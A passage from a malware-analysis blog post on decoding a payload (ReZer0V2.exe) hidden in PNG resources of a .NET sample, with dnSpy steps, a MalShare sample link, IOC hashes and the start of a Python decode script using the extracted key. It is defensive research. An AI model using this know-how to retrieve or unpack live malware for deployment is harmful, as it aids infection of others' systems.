When attempting to extract the data from the variables and reverse the methods, I found that &lt;em&gt;smethod_0&lt;/em&gt; and other related methods are heavily obfuscated and very hard to analyze statically. I switched to dynamic analysis and executed this sample in &lt;em&gt;dnSpy&lt;/em&gt;. I used the following options to run in it using &lt;em&gt;installUtil.exe&lt;/em&gt; and set a breakpoint in the Uninstall method.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-06-10-decoding-malware-payload-encoded-in-a-png-part-2-w-h-o-bat-images/Screen-Shot-2020-05-21-at-11.41.17.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
After running the code, I hit the breakpoint I expected in the Uninstall function. Then I stepped over the “text” and “location” variables having their values assigned, revealing the PNG resources and the password in a similar format to the “Bank Account.bat” sample. Unfortunately, the process crashes when attempting to extract the code that is used to unpack the PNG. This crash is not an issue; I was able to retrieve the data I needed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-06-10-decoding-malware-payload-encoded-in-a-png-part-2-w-h-o-bat-images/Screen-Shot-2020-05-21-at-11.56.23.png&#34; alt=&#34;Decoded variables in dnSpy&#34; /&gt;&lt;br /&gt;
After only changing the extracted PNG file, XOR key, and final PNG pixel data value in the script I created for “Bank Statement.bat” Success, I was able to extract the payload.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2020-06-10-decoding-malware-payload-encoded-in-a-png-part-2-w-h-o-bat-images/Screen-Shot-2020-05-21-at-12.24.37.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The extracted payload looks to be very similar to the &lt;em&gt;Bank Statement.bat&lt;/em&gt; payload. They both have the same filename in the metadata “ReZer0V2.exe.” However, some of the metadata is different, indicating they may be different versions of the payload.&lt;/p&gt;
&lt;h2 id=&#34;wrap-up&#34;&gt;Wrap up&lt;/h2&gt;
&lt;p&gt;My hunch was correct about these samples using the same encoding method for the PNG payload. I still have not reversed the payload yet, but there are some links to other work on this payload in my other post for the &lt;a href=&#34;https://ben.the-collective.net/2020/05/27/decoding-malware-payload-encoded-in-a-png-bank-statement-bat/&#34;&gt;Bank Statement.bat&lt;/a&gt; sample. I enjoyed working on this sample, the different methods used to hide the decoding routine of the PNG data were a fun challenge.&lt;/p&gt;
&lt;h2 id=&#34;sample-download&#34;&gt;Sample Download&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://malshare.com/sample.php?action=detail&amp;amp;hash=ad9462489dfac401daf38efb2b5acbbf&#34;&gt;https://malshare.com/sample.php?action=detail&amp;amp;hash=ad9462489dfac401daf38efb2b5acbbf&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;iocs&#34;&gt;IOCs&lt;/h2&gt;
&lt;p&gt;MD5: ad9462489dfac401daf38efb2b5acbbf&lt;br /&gt;
SHA1: ee1b10bf9523d89586f5ba6bf2d44ed0dce5c13a&lt;br /&gt;
SHA256: e161ec8af4ae4b055ca4cd2f405c041f643894f403f35bc3cbc25064328682ef&lt;/p&gt;
&lt;h2 id=&#34;full-decode-script&#34;&gt;Full Decode Script&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;  1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 27
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 28
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 29
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 30
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 31
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 32
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 33
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 34
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 35
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 36
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 37
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 38
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 39
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 40
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 41
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 42
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 43
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 44
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 45
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 46
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 47
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 48
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 49
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 50
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 51
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 52
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 53
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 54
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 55
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 56
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 57
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 58
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 59
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 60
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 61
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 62
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 63
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 64
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 65
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 66
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 67
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 68
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 69
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 70
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 71
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 72
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 73
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 74
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 75
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 76
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 77
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 78
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 79
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 80
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 81
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 82
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 83
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 84
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 85
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 86
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 87
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 88
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 89
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 90
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 91
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 92
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 93
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 94
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 95
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 96
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 97
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 98
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 99
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;100
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;101
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;102
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;103
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;104
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;105
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;106
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;107
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;108
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;109
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;110
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;111
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;112
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;113
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;114
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;115
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;116
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;png&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;print_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;thelist&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;quantity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;quantity&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;quantity&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;thelist&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#print (&amp;#34;Decimal: &amp;#34;, end=&amp;#34;&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#for i in range(0, quantity):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#	print (thelist[i], &amp;#34;, &amp;#34;, end=&amp;#34;&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#print (&amp;#34;&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Hex: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;quantity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;hex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;thelist&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]),&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;, &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;ASCII: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;quantity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;chr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;thelist&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]),&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;, &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;############&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;be8ff-2.bmp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 0x0 , 0x58 , 0x0 , 0x41 , 0x0 , 0x64 , 0x0 , 0x67 , 0x0 , 0x57 , 0x0 , 0x6b , 0x0 , 0x4b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;plain_key&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;EMe2A6he&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plain_key&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;encode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;utf-16be&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;print_len&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Key: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;print_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Key len: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;##&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#### Load PNG&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;bmp_full_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;png&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Reader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bmp_full_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;##&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#### Reverse Start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;output_array&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Loading Image data&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;IMG height: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
